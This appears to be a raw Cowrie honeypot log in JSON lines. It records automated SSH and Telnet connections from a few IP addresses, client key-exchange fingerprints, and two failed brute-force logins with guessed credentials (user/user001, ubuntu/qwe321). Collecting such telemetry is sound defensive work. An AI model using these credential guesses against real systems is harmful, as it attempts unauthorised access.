{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":41408,"dst_ip":"10.17.0.5","dst_port":22,"session":"9449b56fdee3","protocol":"ssh","message":"New connection: 152.32.171.213:41408 (10.17.0.5:22) [session: 9449b56fdee3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:45.968256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:45.972807Z","src_ip":"152.32.171.213","session":"9449b56fdee3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:46.186299Z","src_ip":"152.32.171.213","session":"9449b56fdee3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.815755128860474,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:46.928409Z","src_ip":"64.227.9.242","session":"5c9eeedaf157","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34820,"dst_ip":"10.17.0.5","dst_port":23,"session":"87ccedbc45f5","protocol":"telnet","message":"New connection: 188.208.141.113:34820 (10.17.0.5:23) [session: 87ccedbc45f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:46.989979Z"}
{"eventid":"cowrie.session.closed","duration":48.70135712623596,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:47.001762Z","src_ip":"188.208.141.113","session":"b83cd7d1ae2f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"user001","message":"login attempt [user/user001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:47.085779Z","src_ip":"152.32.171.213","session":"9449b56fdee3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":52910,"dst_ip":"159.203.135.109","dst_port":23,"session":"36d416b14b78","protocol":"telnet","message":"New connection: 64.227.9.242:52910 (159.203.135.109:23) [session: 36d416b14b78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:47.302033Z"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":53718,"dst_ip":"10.17.0.5","dst_port":22,"session":"c580c927d218","protocol":"ssh","message":"New connection: 112.217.199.222:53718 (10.17.0.5:22) [session: c580c927d218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:48.236510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:48.241712Z","src_ip":"112.217.199.222","session":"c580c927d218","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:48.302785Z","src_ip":"152.32.171.213","session":"9449b56fdee3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:48.450736Z","src_ip":"112.217.199.222","session":"c580c927d218","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34828,"dst_ip":"10.17.0.5","dst_port":23,"session":"26ab62eeaba8","protocol":"telnet","message":"New connection: 188.208.141.113:34828 (10.17.0.5:23) [session: 26ab62eeaba8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:48.625066Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe321","message":"login attempt [ubuntu/qwe321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:49.315468Z","src_ip":"112.217.199.222","session":"c580c927d218","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:50.527218Z","src_ip":"112.217.199.222","session":"c580c927d218","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.56153345108032,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:50.742583Z","src_ip":"64.227.9.242","session":"b48dd00a22c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":57704,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2817557cfc0","protocol":"telnet","message":"New connection: 64.227.9.242:57704 (159.203.135.109:23) [session: f2817557cfc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:51.443927Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":58646,"dst_ip":"159.203.135.109","dst_port":23,"session":"7677ae8a461e","protocol":"telnet","message":"New connection: 64.227.9.242:58646 (159.203.135.109:23) [session: 7677ae8a461e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:52.221832Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":58142,"dst_ip":"159.203.135.109","dst_port":23,"session":"cacedf489789","protocol":"telnet","message":"New connection: 64.227.9.242:58142 (159.203.135.109:23) [session: cacedf489789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:52.812495Z"}
{"eventid":"cowrie.session.closed","duration":38.78307628631592,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:53.584901Z","src_ip":"188.208.141.113","session":"9eda398fa9b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":33124,"dst_ip":"159.203.135.109","dst_port":23,"session":"6308e1471648","protocol":"telnet","message":"New connection: 64.227.9.242:33124 (159.203.135.109:23) [session: 6308e1471648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:54.342446Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":56110,"dst_ip":"10.17.0.5","dst_port":23,"session":"71f6d0a5510d","protocol":"telnet","message":"New connection: 188.208.141.113:56110 (10.17.0.5:23) [session: 71f6d0a5510d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:55.280708Z"}
{"eventid":"cowrie.session.closed","duration":7.291537284851074,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:55.916482Z","src_ip":"188.208.141.113","session":"26ab62eeaba8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.461371183395386,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:56.813674Z","src_ip":"188.208.141.113","session":"6d96b720f18e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":56120,"dst_ip":"10.17.0.5","dst_port":23,"session":"d46eb2dea0cc","protocol":"telnet","message":"New connection: 188.208.141.113:56120 (10.17.0.5:23) [session: d46eb2dea0cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:57.842438Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":56128,"dst_ip":"10.17.0.5","dst_port":23,"session":"beb63d763e3d","protocol":"telnet","message":"New connection: 188.208.141.113:56128 (10.17.0.5:23) [session: beb63d763e3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:58.259460Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":39462,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7ebc94d6476","protocol":"telnet","message":"New connection: 64.227.9.242:39462 (159.203.135.109:23) [session: d7ebc94d6476]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:59.863350Z"}
{"eventid":"cowrie.session.closed","duration":40.91109228134155,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:00.088714Z","src_ip":"188.208.141.113","session":"b3cfbed5893b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":35288,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdb13034fbb5","protocol":"telnet","message":"New connection: 188.208.141.113:35288 (10.17.0.5:23) [session: bdb13034fbb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:00.633811Z"}
{"eventid":"cowrie.session.closed","duration":41.87852358818054,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:00.797366Z","src_ip":"188.208.141.113","session":"1415782bff37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.1473798751831055,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:02.406729Z","src_ip":"188.208.141.113","session":"beb63d763e3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.667696475982666,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:02.828516Z","src_ip":"64.227.9.242","session":"2c14afcd9171","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.27957487106323,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:05.461824Z","src_ip":"188.208.141.113","session":"d15e52a261fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":51024,"dst_ip":"159.203.135.109","dst_port":23,"session":"b642c9c2ae10","protocol":"telnet","message":"New connection: 64.227.9.242:51024 (159.203.135.109:23) [session: b642c9c2ae10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:09.082560Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":35300,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3554ab8d036","protocol":"telnet","message":"New connection: 188.208.141.113:35300 (10.17.0.5:23) [session: e3554ab8d036]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:09.590093Z"}
{"eventid":"cowrie.session.closed","duration":37.50800275802612,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:10.403606Z","src_ip":"188.208.141.113","session":"4cba2a693672","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.68993520736694,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:12.047646Z","src_ip":"188.208.141.113","session":"db2dad1b6a14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":55178,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7bbd3dba989","protocol":"telnet","message":"New connection: 64.227.9.242:55178 (159.203.135.109:23) [session: c7bbd3dba989]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:12.205558Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":57528,"dst_ip":"10.17.0.5","dst_port":23,"session":"d680851dbc10","protocol":"telnet","message":"New connection: 188.208.141.113:57528 (10.17.0.5:23) [session: d680851dbc10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:12.235193Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":57532,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7b74813f830","protocol":"telnet","message":"New connection: 188.208.141.113:57532 (10.17.0.5:23) [session: d7b74813f830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:12.276803Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":57536,"dst_ip":"10.17.0.5","dst_port":23,"session":"33d6ba9c05d6","protocol":"telnet","message":"New connection: 188.208.141.113:57536 (10.17.0.5:23) [session: 33d6ba9c05d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:13.457152Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":56856,"dst_ip":"159.203.135.109","dst_port":23,"session":"67aa1fd0bede","protocol":"telnet","message":"New connection: 64.227.9.242:56856 (159.203.135.109:23) [session: 67aa1fd0bede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:13.580908Z"}
{"eventid":"cowrie.session.closed","duration":49.8687641620636,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:13.797672Z","src_ip":"188.208.141.113","session":"019b584aa61f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":57550,"dst_ip":"10.17.0.5","dst_port":23,"session":"8802fd7d3583","protocol":"telnet","message":"New connection: 188.208.141.113:57550 (10.17.0.5:23) [session: 8802fd7d3583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:14.631831Z"}
{"eventid":"cowrie.session.closed","duration":34.32188129425049,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:17.343462Z","src_ip":"64.227.9.242","session":"67f9b606a5a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.450334310531616,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:17.938481Z","src_ip":"64.227.9.242","session":"7f5f43a118ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.380090951919556,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:18.592244Z","src_ip":"188.208.141.113","session":"351cfd6992b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.905500173568726,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:19.930991Z","src_ip":"188.208.141.113","session":"7b1acd3a05f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":39676,"dst_ip":"10.17.0.5","dst_port":23,"session":"dba64e71ecbc","protocol":"telnet","message":"New connection: 188.208.141.113:39676 (10.17.0.5:23) [session: dba64e71ecbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:20.723263Z"}
{"eventid":"cowrie.session.closed","duration":7.497805595397949,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:20.954850Z","src_ip":"188.208.141.113","session":"33d6ba9c05d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":37796,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a97089a6be9","protocol":"telnet","message":"New connection: 64.227.9.242:37796 (159.203.135.109:23) [session: 7a97089a6be9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:21.966679Z"}
{"eventid":"cowrie.session.closed","duration":35.13357472419739,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:22.435499Z","src_ip":"64.227.9.242","session":"36d416b14b78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":39688,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e6c98dc4c92","protocol":"telnet","message":"New connection: 188.208.141.113:39688 (10.17.0.5:23) [session: 5e6c98dc4c92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:23.167672Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":39704,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e7d3ffcbaff","protocol":"telnet","message":"New connection: 188.208.141.113:39704 (10.17.0.5:23) [session: 0e7d3ffcbaff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:24.404528Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":42276,"dst_ip":"159.203.135.109","dst_port":23,"session":"38b709cf8713","protocol":"telnet","message":"New connection: 64.227.9.242:42276 (159.203.135.109:23) [session: 38b709cf8713]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:24.465453Z"}
{"eventid":"cowrie.session.closed","duration":34.13796281814575,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:25.581772Z","src_ip":"64.227.9.242","session":"f2817557cfc0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.05559062957764,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:26.164963Z","src_ip":"188.208.141.113","session":"b55359a963ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":39708,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb1ae9f0ee9d","protocol":"telnet","message":"New connection: 188.208.141.113:39708 (10.17.0.5:23) [session: cb1ae9f0ee9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:26.624538Z"}
{"eventid":"cowrie.session.closed","duration":34.062198877334595,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:26.874565Z","src_ip":"64.227.9.242","session":"cacedf489789","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.89218831062317,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:28.113873Z","src_ip":"64.227.9.242","session":"7677ae8a461e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.150983810424805,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:28.747742Z","src_ip":"188.208.141.113","session":"d146038ab988","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.763909339904785,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:29.106264Z","src_ip":"64.227.9.242","session":"6308e1471648","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.327255725860596,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:30.317150Z","src_ip":"188.208.141.113","session":"87ccedbc45f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":55536,"dst_ip":"159.203.135.109","dst_port":23,"session":"f23297e6eda3","protocol":"telnet","message":"New connection: 64.227.9.242:55536 (159.203.135.109:23) [session: f23297e6eda3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:34.309090Z"}
{"eventid":"cowrie.session.closed","duration":35.23539066314697,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:35.098649Z","src_ip":"64.227.9.242","session":"d7ebc94d6476","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":57034,"dst_ip":"159.203.135.109","dst_port":23,"session":"4af1cdadb6e2","protocol":"telnet","message":"New connection: 64.227.9.242:57034 (159.203.135.109:23) [session: 4af1cdadb6e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:35.361637Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":46736,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e78c7f7318d","protocol":"telnet","message":"New connection: 188.208.141.113:46736 (10.17.0.5:23) [session: 3e78c7f7318d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:35.472240Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":46738,"dst_ip":"10.17.0.5","dst_port":23,"session":"053c22b2ad3c","protocol":"telnet","message":"New connection: 188.208.141.113:46738 (10.17.0.5:23) [session: 053c22b2ad3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:36.379629Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":46746,"dst_ip":"10.17.0.5","dst_port":23,"session":"73537420c657","protocol":"telnet","message":"New connection: 188.208.141.113:46746 (10.17.0.5:23) [session: 73537420c657]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:39.278207Z"}
{"eventid":"cowrie.session.closed","duration":41.94611692428589,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:39.788457Z","src_ip":"188.208.141.113","session":"d46eb2dea0cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":46754,"dst_ip":"10.17.0.5","dst_port":23,"session":"a80cf8b611fb","protocol":"telnet","message":"New connection: 188.208.141.113:46754 (10.17.0.5:23) [session: a80cf8b611fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:40.391936Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":36774,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed1b9af84583","protocol":"telnet","message":"New connection: 188.208.141.113:36774 (10.17.0.5:23) [session: ed1b9af84583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:27:40.820850Z"}
